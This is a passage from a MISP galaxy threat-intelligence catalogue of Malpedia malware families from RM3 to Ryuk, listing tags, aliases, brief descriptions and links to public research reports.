RM3

Created from the codebase of Gozi/ISFB.

The tag is: *misp-galaxy:malpedia="RM3"*

RM3 is also known as:

Table 2986. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3
https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/

RMS

CyberInt states that Remote Manipulator System (RMS) is a legitimate tool developed by Russian organization TektonIT and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licenses, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices.

The tag is: *misp-galaxy:malpedia="RMS"*

RMS is also known as:

- Gussdoor
- Remote Manipulator System

Table 2987. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rms
https://blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/
https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf
https://blog.yoroi.company/research/ta505-is-expanding-its-operations/
https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf
https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution
https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf
https://awakesecurity.com/blog/catching-the-white-stork-in-flight/

RobinHood

The tag is: *misp-galaxy:malpedia="RobinHood"*

RobinHood is also known as:

- RobbinHood

Table 2988. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.robinhood
https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf
https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/
https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/
https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/

https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/
https://twitter.com/VK_Intel/status/1121440931759128576
https://www.bleepingcomputer.com/news/security/ransomware-exploits-gigabyte-driver-to-kill-av-processes/
https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/
https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/
https://goggleheadedhacker.com/blog/post/12
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/

rock

The tag is: *misp-galaxy:malpedia="rock"*

rock is also known as:

- yellowalbatross

Table 2989. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rock

Rockloader

The tag is: *misp-galaxy:malpedia="Rockloader"*

Rockloader is also known as:

Table 2990. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader
https://intel471.com/blog/a-brief-history-of-ta505
https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware

https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

Rofin

The tag is: *misp-galaxy:malpedia="Rofin"*

Rofin is also known as:

Table 2991. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin

RogueRobinNET

A .NET variant of ps1.roguerobin

The tag is: *misp-galaxy:malpedia="RogueRobinNET"*

RogueRobinNET is also known as:

Table 2992. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin
https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/
https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/

Rokku

The tag is: *misp-galaxy:malpedia="Rokku"*

Rokku is also known as:

Table 2993. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku
https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/

RokRAT

It is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex.

The tag is: *misp-galaxy:malpedia="RokRAT"*

RokRAT is also known as:

- DOGCALL

Table 2994. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat
http://v3lo.tistory.com/24
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf
https://unit42.paloaltonetworks.com/atoms/moldypisces/
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
https://www.ibm.com/downloads/cas/Z81AVOY7
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf
https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/
https://www.youtube.com/watch?v=uoBQE5s2ba4
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/
https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48

https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection

Rombertik

The tag is: *misp-galaxy:malpedia="Rombertik"*

Rombertik is also known as:

- CarbonGrabber

Table 2995. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik
http://blogs.cisco.com/security/talos/rombertik

ROMCOM RAT

Unit 42 observed threat actor Tropical Scorpius using this RAT in operations where also Cuba ransomware was deployed.

The tag is: *misp-galaxy:malpedia="ROMCOM RAT"*

ROMCOM RAT is also known as:

Table 2996. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat
https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/

Romeo(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Romeo(Alfa,Bravo, ...)"*

Romeo(Alfa,Bravo, ...) is also known as:

Table 2997. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos

Rook

Ransomware.

The tag is: *misp-galaxy:malpedia="Rook"*

Rook is also known as:

Table 2998. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rook
https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/
https://seguranca-informatica.pt/rook-ransomware-analysis/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/
https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

Roopirs

The tag is: *misp-galaxy:malpedia="Roopirs"*

Roopirs is also known as:

Table 2999. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs

Roseam

The tag is: *misp-galaxy:malpedia="Roseam"*

Roseam is also known as:

- PisLoader

Table 3000. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

Roshtyak

A DLL backdoor distributed by Raspberry Robin. According to Avast Decoded, Roshtyak belongs to one of the best-protected malware strains they have ever seen.

The tag is: *misp-galaxy:malpedia="Roshtyak"*

Roshtyak is also known as:

Table 3001. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roshtyak
https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/

RotorCrypt

Ransomware that was discovered over the last months of 2016 and likely based on Gomasom, another ransomware family.

The tag is: *misp-galaxy:malpedia="RotorCrypt"*

RotorCrypt is also known as:

- RotoCrypt
- Rotor

Table 3002. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rotorcrypt
https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html
https://www.bleepingcomputer.com/forums/t/629699/rotorcrypt-rotocrypt-ransomware-support-topic-tar-c400-c300-granit/

Rover

The tag is: *misp-galaxy:malpedia="Rover"*

Rover is also known as:

Table 3003. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rover
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/
https://securelist.com/apt-trends-report-q3-2020/99204/

Rovnix

Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (https://github.com/nyx0/Rovnix). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least).

The tag is: *misp-galaxy:malpedia="Rovnix"*

Rovnix is also known as:

- BkLoader
- Cidox
- Mayachok

Table 3004. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix
https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf
https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981
https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/
https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html
http://www.malwaretech.com/2014/05/rovnix-new-evolution.html
https://securelist.com/oh-what-a-boot-iful-mornin/97365
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/
https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/

RoyalCli

RoyalCli is a backdoor which appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary. RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2.

The tag is: *misp-galaxy:malpedia="RoyalCli"*

RoyalCli is also known as:

Table 3005. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://github.com/nccgroup/Royal_APT
https://www.secureworks.com/research/threat-profiles/bronze-palace

Royal DNS

RoyalDNS is a DNS based backdoor used by APT15 that persistences on a system through a service called 'Nwsapagent'.

The tag is: *misp-galaxy:malpedia="Royal DNS"*

Royal DNS is also known as:

Table 3006. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://github.com/nccgroup/Royal_APT
https://www.secureworks.com/research/threat-profiles/bronze-palace

Rozena

The tag is: *misp-galaxy:malpedia="Rozena"*

Rozena is also known as:

Table 3007. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena
https://www.socinvestigation.com/threat-actors-delivers-new-rozena-backdoor-with-follina-bug-detection-response/
https://www.gdatasoftware.com/blog/2019/07/35061-server-side-polymorphism-powershell-backdoors
https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor
https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena

RTM

RTM Banker also known as Redaman was first blogged about in February 2017 by ESET. The malware is written in Delphi and shows some similarities (like process list) with Buhtrap. It uses a slightly modified version of RC4 to encrypt its strings, network data, configuration and modules, according to ESET.

The tag is: *misp-galaxy:malpedia="RTM"*

RTM is also known as:

- Redaman

Table 3008. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm
https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/
https://www.youtube.com/watch?v=YXnNO3TipvM
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://jonahacks.medium.com/malware-analysis-manual-unpacking-of-redaman-ec1782352cfb
http://www.peppermalware.com/2019/11/brief-analysis-of-redaman-banking.html
https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/

rtpos

The tag is: *misp-galaxy:malpedia="rtpos"*

rtpos is also known as:

Table 3009. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos
https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf
http://reversing.fun/posts/2022/01/30/rtpos.html

Ruckguv

The tag is: *misp-galaxy:malpedia="Ruckguv"*

Ruckguv is also known as:

Table 3010. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

Rumish

The tag is: *misp-galaxy:malpedia="Rumish"*

Rumish is also known as:

Table 3011. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish

running_rat

The tag is: *misp-galaxy:malpedia="running_rat"*

running_rat is also known as:

Table 3012. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat

RURansom

RURansom shows characteristics of typical ransomware, but despite its name, TrendMicro's assumptions after analysis showed that this malware is more a wiper than ransomware, because the irreversible destruction of encrypted files.

The tag is: *misp-galaxy:malpedia="RURansom"*

RURansom is also known as:

Table 3013. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ruransom
https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html
https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html
https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/

Rurktar

The tag is: *misp-galaxy:malpedia="Rurktar"*

Rurktar is also known as:

- RCSU

Table 3014. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rurktar
https://www.gdatasoftware.com/blog/2017/07/29896-rurktar-spyware-under-construction

Rustock

The tag is: *misp-galaxy:malpedia="Rustock"*

Rustock is also known as:

Table 3015. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock
https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html
http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html
https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/

http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://darknetdiaries.com/episode/110/
http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf
http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/
https://www.secureworks.com/blog/research-21041
http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf

Ryuk

Ryuk is a ransomware which encrypts its victim's files and asks for a ransom via bitcoin to release the original files. It is has been observed being used to attack companies or professional environments. Cybersecurity experts figured out that Ryuk and Hermes ransomware shares pieces of codes. Hermes is commodity ransomware that has been observed for sale on dark-net forums and used by multiple threat actors.

The tag is: *misp-galaxy:malpedia="Ryuk"*

Ryuk is also known as:

Table 3016. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk
https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption
https://community.riskiq.com/article/c88cf7e6
https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.advanced-intel.com/post/adversary-dossier-ryuk-ransomware-anatomy-of-an-attack-in-2021
https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/

https://blog.talosintelligence.com/2020/06/CTIR-trends-q3-2020.html#more
https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://twitter.com/SecurityJoes/status/1402603695578157057
https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?*blob=publicationFile&v=2[https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf*?blob=publicationFile&v=2]
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/
https://www.scythe.io/library/threatthursday-ryuk
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit_*John_Hammond_Huntress*_Analyzing_Ryuk.pdf[https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit _*John_Hammond_Huntress*_Analyzing_Ryuk.pdf]
https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders

https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://blog.cyberint.com/ryuk-crypto-ransomware
https://blog.malwarebytes.com/threat-spotlight/2019/12/threat-spotlight-the-curious-case-of-ryuk-ransomware/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc
https://securityliterate.com/reversing-ryuk-a-technical-analysis-of-ryuk-ransomware/
https://n1ght-w0lf.github.io/malware%20analysis/ryuk-ransomware/
https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf
https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets
https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware
https://twitter.com/Prosegur/status/1199732264386596864
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/
https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://sites.temple.edu/care/ci-rw-attacks/
https://fourcore.io/blogs/ryuk-ransomware-simulation-mitre-ttp
https://threatconnect.com/blog/threatconnect-research-roundup-possible-ryuk-infrastructure/
https://labs.sentinelone.com/an-inside-look-at-how-ryuk-evolved-its-encryption-and-evasion-techniques/
https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://blogs.quickheal.com/deep-dive-wakeup-lan-wol-implementation-ryuk/
https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-deployed-two-weeks-after-trickbot-infection/
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-stops-encrypting-linux-folders/
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html
https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/
https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv
https://research.nccgroup.com/2021/03/04/deception-engineering-exploring-the-use-of-windows-service-canaries-against-ransomware/
https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes
https://edition.cnn.com/2020/10/28/politics/hospitals-targeted-ransomware-attacks/index.html
https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://twitter.com/anthomsec/status/1321865315513520128
https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/
https://0xc0decafe.com/2020/12/28/never-upload-ransomware-samples-to-the-internet/
https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/5768-ccn-cert-id-03-21-ryuk-ransomware/file.html
https://gist.github.com/aaronst/6aa7f61246f53a8dd4befea86e832456
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf
https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/
https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/
https://www.bleepingcomputer.com/news/security/new-ryuk-info-stealer-targets-government-and-military-secrets/
https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/4217-ccn-cert-id-26-19-ryuk-1/file.html
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.reuters.com/article/usa-healthcare-cyber-idUSKBN27E0EP
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://www.zdnet.com/article/dod-contractor-suffers-ransomware-infection/
https://threatconnect.com/blog/threatconnect-research-roundup-ryuk-and-domains-spoofing-eset-and-microsoft/
https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
https://thehackernews.com/2022/05/malware-analysis-trickbot.html
https://krebsonsecurity.com/2020/10/fbi-dhs-hhs-warn-of-imminent-credible-ransomware-threat-against-u-s-hospitals/
https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html
https://twitter.com/IntelAdvanced/status/1353546534676258816
https://www.secureworks.com/research/threat-profiles/gold-ulrick
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf
https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/
https://blog.virustotal.com/2020/10/tracing-fresh-ryuk-campaigns-itw.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.latimes.com/local/lanow/la-me-ln-times-delivery-disruption-20181229-story.html
https://www.youtube.com/watch?v=CgDtm05qApE
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/
https://www.youtube.com/watch?v=7xxRunBP5XA
https://thedfirreport.com/2021/01/31/bazar-no-ryuk/

https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html
https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-NicolaoMartins.pdf
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf
https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/
https://github.com/scythe-io/community-threats/tree/master/Ryuk
https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf
